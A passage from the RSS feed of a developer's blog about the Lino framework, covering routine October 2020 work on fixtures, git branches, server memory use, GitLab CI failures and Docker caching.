An empty &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;declaration_plugin&lt;/span&gt;&lt;/code&gt; is used e.g. in
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.cosi2&lt;/span&gt;&lt;/code&gt;, which is an example of a freelancer who uses
Lino to just write invoices and has accounting done by an external expert.&lt;/p&gt;
&lt;p&gt;Should getlino ask (or provide a default value) for it? No. The solution is much
easier:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Adapted the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-payments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;payments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to also
work when &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;declaration_plugin&lt;/span&gt;&lt;/code&gt; is empty.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fixing this revealed a secondary bug: the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_installed_plugins()&lt;/span&gt;&lt;/code&gt; of the
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_voga.lib.voga.settings.Site&lt;/span&gt;&lt;/code&gt; was yielding the
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.bevats.html#module-lino_xl.lib.bevats" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.bevats&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin, this is done automatically when
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;declaration_plugin&lt;/span&gt;&lt;/code&gt; is set.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1022.html</guid><pubDate>Thu, 22 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, October 21, 2020</title><link>https://luc.lino-framework.org/blog/2020/1021.html</link><description>&lt;section id="wednesday-october-21-2020"&gt;
&lt;h1&gt;Wednesday, October 21, 2020&lt;a class="headerlink" href="#wednesday-october-21-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="about-the-lets-tutorial"&gt;
&lt;h2&gt;About the Lets Tutorial&lt;a class="headerlink" href="#about-the-lets-tutorial" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In the lets repository we have four public branches (master, step2, step3 and
step4) to express the four versions used in the tutorial. And this number is
likely to increase in the future.  Now here is an interesting challenge:&lt;/p&gt;
&lt;p&gt;I saw that the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file in the docs had an obsolete way of defining
&lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/writedocs/intersphinx.html#envvar-intersphinx_mapping" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;intersphinx_mapping&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  The “modern” way to do it is:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;interproject&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;atelier lino_lets&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;intersphinx_mapping&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://community.lino-framework.org/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;intersphinx_mapping&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;book&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://www.lino-framework.org/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This change is not meaningful for the tutorial reader, we don’t want to bother a
new Lino user with this.  For the reader (when they run a &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;git&lt;/span&gt; &lt;span class="pre"&gt;diff&lt;/span&gt; &lt;span class="pre"&gt;master&lt;/span&gt;&lt;/code&gt;
to see what has changed) everything should look as if that change had always
been there.&lt;/p&gt;
&lt;p&gt;It is a kind of changing history after the fact.&lt;/p&gt;
&lt;p&gt;I did this change manually in all four steps of the tutorial. That was a bit
stupid… but I didn’t find a better way.&lt;/p&gt;
&lt;p&gt;The same case is for the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.gitlab-ci.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.gitlab-ci.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file: I added it in master,
but I would like that this same file exists in the other steps as well.&lt;/p&gt;
&lt;p&gt;Answer: that’s a use case for the &lt;a class="reference external" href="https://www.atlassian.com/git/tutorials/cherry-pick"&gt;git cherry-pick&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;I noted yet another problem related to the lets tutorial: the book test suite
depends on it, but the book doesn’t yet specify that dependency.   And also:
which branch should be activated in lets when the book tests run?  At the moment
it seems that they pass only with step4.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Should we add lino_lets to the known repositories in getlino?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="lino-framework-org-is-again-slow"&gt;
&lt;h2&gt;lino-framework.org is again slow&lt;a class="headerlink" href="#lino-framework-org-is-again-slow" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When I run &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ps&lt;/span&gt; &lt;span class="pre"&gt;-o&lt;/span&gt; &lt;span class="pre"&gt;pid,user,%mem,command&lt;/span&gt; &lt;span class="pre"&gt;ax&lt;/span&gt;&lt;/code&gt;, I can see that indeed the
three Lino sites (3 to 4 processes for each) were using up more than 80% of the
available memory.&lt;/p&gt;
&lt;p&gt;When I stop supervisor, the server runs like a charm.&lt;/p&gt;
&lt;p&gt;Should we switch to Apache? Probably not:
&lt;a class="reference external" href="https://kinsta.com/blog/nginx-vs-apache/"&gt;https://kinsta.com/blog/nginx-vs-apache/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Maybe reduce the sites to a single worker process?
&lt;a class="reference external" href="https://docs.nginx.com/nginx/admin-guide/basic-functionality/runtime-control/"&gt;https://docs.nginx.com/nginx/admin-guide/basic-functionality/runtime-control/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Yes, that worked! And I tried to delete an invoice (which causes a callback )&lt;/p&gt;
&lt;p&gt;Do the demo sites need a &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#management_command-linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; process? Hannes, please read the docs
about it. If the a re not understandable to you, then we know that it is poorly
documented.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1021.html</guid><pubDate>Wed, 21 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, October 20, 2020</title><link>https://luc.lino-framework.org/blog/2020/1020.html</link><description>&lt;section id="tuesday-october-20-2020"&gt;
&lt;h1&gt;Tuesday, October 20, 2020&lt;a class="headerlink" href="#tuesday-october-20-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="lino-voga"&gt;
&lt;h2&gt;Lino Voga&lt;a class="headerlink" href="#lino-voga" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had a quick &lt;a class="reference external" href="https://voga.lino-framework.org/index.html#voga" title="(in Lino Voga)"&gt;&lt;span&gt;Lino Voga&lt;/span&gt;&lt;/a&gt; demo session with Arnold. We observed that the voga
demo project has no presences at all at the moment. And as I expected this was
caused by a change for some other customer: Course lines must now have a guest
role specified if you want them to fill the guest of calendar events.  When I
did this change, I didn’t care about voga and blindly adapted the doctests to
match the new results without noting that this was anormal.&lt;/p&gt;
&lt;p&gt;I then discovered another subtle problem: Voga permits to have several
enrolments for a same person in a same course, provided they have separate date
ranges. Since this is a higher level integrity constraint, we remove that
database level unique clause.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="lf-is-again-slow"&gt;
&lt;h2&gt;&lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt; is again slow&lt;a class="headerlink" href="#lf-is-again-slow" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started to setup a second front end for the voga1e demo site on &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt;
(according to the instructions in &lt;a class="reference external" href="https://hosting.lino-framework.org/multiple_frontends/#hosting-multiple-frontends" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Multiple front ends for a same site&lt;/span&gt;&lt;/a&gt;) and fell
again into &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3825"&gt;#3825&lt;/a&gt;.  As usual, the server seems to “freeze” as soon as I
ask it to do something:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install -U lino lino_xl lino_cosi lino_voga lino_noi lino_react
Collecting lino
  Downloading lino-20.10.0.tar.gz (10.1 MB)
     |████████████████████████████████| 10.1 MB 151 kB/s
Collecting lino_xl
  Downloading lino-xl-20.10.1.tar.gz (3.2 MB)
     |████████████████████████████████| 3.2 MB 13.0 MB/s
Collecting lino_cosi
  Downloading lino-cosi-20.10.0.tar.gz (608 kB)
     |████████████████████████████████| 608 kB 12.2 MB/s
Collecting lino_voga
  Downloading lino-voga-20.10.0.tar.gz (101 kB)
     |████████████████████████████████| 101 kB 3.7 MB/s
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After some time it stayed stuck…
Maybe it is because LF is a “Sandbox” server. OVH says: Instances with
shared resources (Sandbox) are suitable for testing, verifications and
development environments. Their performance may vary slightly over time.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ps -o pid,user,%mem,command ax | sort -b -k3 -r
  PID USER     %MEM COMMAND
18137 mysql     6.4 /usr/sbin/mysqld
31491 www-data  6.2 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/voga1e/nginx/uwsgi.ini
 2319 www-data  6.2 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/voga1e/nginx/uwsgi.ini
 6605 www-data  5.9 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/noi1r/nginx/uwsgi.ini
23921 www-data  5.7 python /usr/local/lino/lino_local/noi1r/manage.py linod
23916 www-data  5.6 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/voga1e/nginx/uwsgi.ini
24172 www-data  5.6 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/cosi1e/nginx/uwsgi.ini
 6895 www-data  5.5 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/noi1r/nginx/uwsgi.ini
23923 www-data  5.5 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/noi1r/nginx/uwsgi.ini
24171 www-data  5.0 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/cosi1e/nginx/uwsgi.ini
23919 www-data  4.5 /usr/bin/uwsgi --ini /usr/local/lino/lino_local/cosi1e/nginx/uwsgi.ini
19552 www-data  4.5 python /usr/local/lino/lino_local/cosi1e/manage.py linod
  699 list      1.9 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=VirginRunner:0:1 -s
  698 list      1.9 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=OutgoingRunner:0:1 -s
  694 list      1.6 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=IncomingRunner:0:1 -s
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1020.html</guid><pubDate>Tue, 20 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Monday, October 19, 2020</title><link>https://luc.lino-framework.org/blog/2020/1019.html</link><description>&lt;section id="monday-october-19-2020"&gt;
&lt;h1&gt;Monday, October 19, 2020&lt;a class="headerlink" href="#monday-october-19-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fixed miscellaneous issues found in &lt;a class="reference external" href="https://dev.lino-framework.org/ref/jargon.html#algus" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Algus&lt;/span&gt;&lt;/a&gt; after using it for
&lt;a class="reference internal" href="../../ref/index.html#mentori"&gt;&lt;span class="std std-ref"&gt;Lino Mentori&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I updated some parts of the book, e.g. &lt;a class="reference external" href="https://dev.lino-framework.org/dev/myapp.html#dev-myapp" title="(in Lino Developer Guide)"&gt;&lt;span&gt;How to write your own Lino application&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;section id="num2words-not-installed"&gt;
&lt;h2&gt;“num2words not installed”&lt;a class="headerlink" href="#num2words-not-installed" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ta-daa! The mentori pipeline on gitlab passed! For the first time.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/mentori/-/pipelines/204606848"&gt;https://gitlab.com/lino-framework/mentori/-/pipelines/204606848&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The issues
were trivial, but after years on &lt;a class="reference external" href="https://dev.lino-framework.org/dev/testing.html#travis" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Travis CI&lt;/span&gt;&lt;/a&gt; I still have to learn how the
gory details work on GitLab.&lt;/p&gt;
&lt;p&gt;A first issue was because in the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.gitlab-ci.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.gitlab-ci.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file I asked to cache
the pip cache and the venv. It was always using lino-xl version 20.8 instead of
20.10&lt;/p&gt;
&lt;p&gt;After removing the cache, I had yet another series of failures like these:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;**********************************************************************
File &amp;quot;/builds/lino-framework/mentori/docs/specs/courses.rst&amp;quot;, line 15, in courses.rst
Failed example:
    lino.startup(&amp;#39;lino_mentori.projects.mentori1.settings.doctests&amp;#39;)
Expected nothing
Got:
    num2words not installed, use `python manage.py install` to install
**********************************************************************
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.courses.html#module-lino_xl.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; imports &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.EventGenerator" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal.EventGenerator&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
from the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cal.html#module-lino_xl.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; mixins in order to say that a course is a
calendar event generator.  It is perfectly okay to do this even when cal is not
installed. When cal is not installed, the mixin simply has no effect. But until
now it did have the side effect of printing this message.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="failures-in-getlino"&gt;
&lt;h2&gt;Failures in getlino&lt;a class="headerlink" href="#failures-in-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The getlino test suite filed with:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Could&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="n"&gt;packages&lt;/span&gt; &lt;span class="n"&gt;due&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="ne"&gt;EnvironmentError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;HTTPSConnectionPool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;files.pythonhosted.org&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Max&lt;/span&gt; &lt;span class="n"&gt;retries&lt;/span&gt;
&lt;span class="n"&gt;exceeded&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ca&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;c31e275777352db243b4d857de61d412f4a1300cda9bf9a7f0da20af852&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;appy&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.0.3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gz&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Caused&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt;
&lt;span class="n"&gt;ReadTimeoutError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;HTTPSConnectionPool(host=&amp;#39;files.pythonhosted.org&amp;#39;,&lt;/span&gt;
&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Read&lt;/span&gt; &lt;span class="n"&gt;timed&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But when I run it manually, it works:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ virtualenv -p python3 tt
$ . tt/bin/activate
(tt) luc@tups:~/tmp$ pip install appy
Collecting appy
  Downloading appy-1.0.3.tar.gz (5.1 MB)
     |████████████████████████████████| 5.1 MB 243 kB/s
Collecting zodb
...
Successfully built appy
...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The getlino test suite is currently failing on my machine:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ inv prep test
--------------------------------------------------------------------------------
Run main prep command ./prep.sh :
Sending build context to Docker daemon  15.88MB
Step 1/17 : ARG DEBIAN_FRONTEND=noninteractive
Step 2/17 : FROM debian:buster
 ---&amp;gt; ae8514941ea4
Step 3/17 : ENV TERM=linux
 ---&amp;gt; Using cache
 ---&amp;gt; 3117ecf1c8b0
Step 4/17 : ENV PYTHONUNBUFFERED=1
 ---&amp;gt; Using cache
 ---&amp;gt; a71874e43c4a
Step 5/17 : ENV LC_ALL=en_US.UTF-8
 ---&amp;gt; Using cache
 ---&amp;gt; c5ce60691598
Step 6/17 : ENV LANG=en_US.UTF-8
 ---&amp;gt; Using cache
 ---&amp;gt; 84e4843b22de
Step 7/17 : ENV TZ=Europe/Brussels
 ---&amp;gt; Using cache
 ---&amp;gt; 6e1ba4433a49
Step 8/17 : RUN apt-get update -yqq
 ---&amp;gt; Using cache
 ---&amp;gt; 4de583ad6fdb
Step 9/17 : RUN apt-get install -y tzdata locales-all
 ---&amp;gt; Using cache
 ---&amp;gt; 245b8fa3c094
Step 10/17 : RUN apt-get upgrade -y
 ---&amp;gt; Running in c0f791e1584b
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
  base-files libgnutls30 perl-base
3 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 2,708 kB of archives.
After this operation, 16.4 kB of additional disk space will be used.
Err:1 http://deb.debian.org/debian buster/main amd64 base-files amd64 10.3+deb10u5
  404  Not Found [IP: 151.101.86.133 80]
Get:2 http://deb.debian.org/debian buster/main amd64 perl-base amd64 5.28.1-6+deb10u1 [1,514 kB]
Get:3 http://deb.debian.org/debian buster/main amd64 libgnutls30 amd64 3.6.7-4+deb10u5 [1,124 kB]
E: Failed to fetch http://deb.debian.org/debian/pool/main/b/base-files/base-files_10.3+deb10u5_amd64.deb  404  Not Found [IP: 151.101.86.133 80]
E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
Fetched 2,638 kB in 2s (1,176 kB/s)
The command &amp;#39;/bin/sh -c apt-get upgrade -y&amp;#39; returned a non-zero code: 100
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Explanation was this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Step&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RUN&lt;/span&gt; &lt;span class="n"&gt;apt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;yqq&lt;/span&gt;
 &lt;span class="o"&gt;---&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Using&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;
 &lt;span class="o"&gt;---&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;de583ad6fdb&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Instead of actually updating, it used a cached version. It started to work after
changing &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;apt-get&lt;/span&gt; &lt;span class="pre"&gt;update&lt;/span&gt; &lt;span class="pre"&gt;-yqq&lt;/span&gt;&lt;/code&gt; to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;apt-get&lt;/span&gt; &lt;span class="pre"&gt;update&lt;/span&gt; &lt;span class="pre"&gt;-y&lt;/span&gt;&lt;/code&gt;, but of course just
because this invalidated because the RUN command was changed.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="lino-voga"&gt;
&lt;h2&gt;Lino Voga&lt;a class="headerlink" href="#lino-voga" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had a meeting with Arnold where we discovered &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3829"&gt;#3829&lt;/a&gt;.  The roger demo
project had no presences (guests) because &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;SiteConfig.pupil_guestrole&lt;/span&gt;&lt;/code&gt;
wasn’t being set.&lt;/p&gt;
&lt;p&gt;Fixing this revealed another subtle issue: In Voga we can have multiple
enrolments of a same pupil to a same course. In reality there is of course only
one active enrolment per pupil per course at any given date. A same pupil can
join a course, leave after some time, and then join again. The demo fixture
creates duplicate enrolments whose date range overlaps. Which should be detected
by a data checker. But I didn’t yet write such a checker because the problem is
only theoretic. But to avoid to also get duplicate &lt;em&gt;guests&lt;/em&gt; (which causes a
database integrity error), Voga now avoids duplicate guests when having
overlapping enrolments.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1019.html</guid><pubDate>Mon, 19 Oct 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, October 17, 2020</title><link>https://luc.lino-framework.org/blog/2020/1017.html</link><description>&lt;section id="saturday-october-17-2020"&gt;
&lt;h1&gt;Saturday, October 17, 2020&lt;a class="headerlink" href="#saturday-october-17-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The &lt;a class="reference internal" href="../../ref/index.html#mentori"&gt;&lt;span class="std std-ref"&gt;Lino Mentori&lt;/span&gt;&lt;/a&gt; test suite is still  &lt;a class="reference external" href="https://gitlab.com/lino-framework/mentori/-/jobs/796405040"&gt;failing on GitLab&lt;/a&gt;. Obviously the
environment there still uses a version of the xl where
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.courses.html#module-lino_xl.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; still declares &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cal.html#module-lino_xl.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; as a
dependency. Did I forget to release the xl to PyPI? Let’s try:&lt;/p&gt;
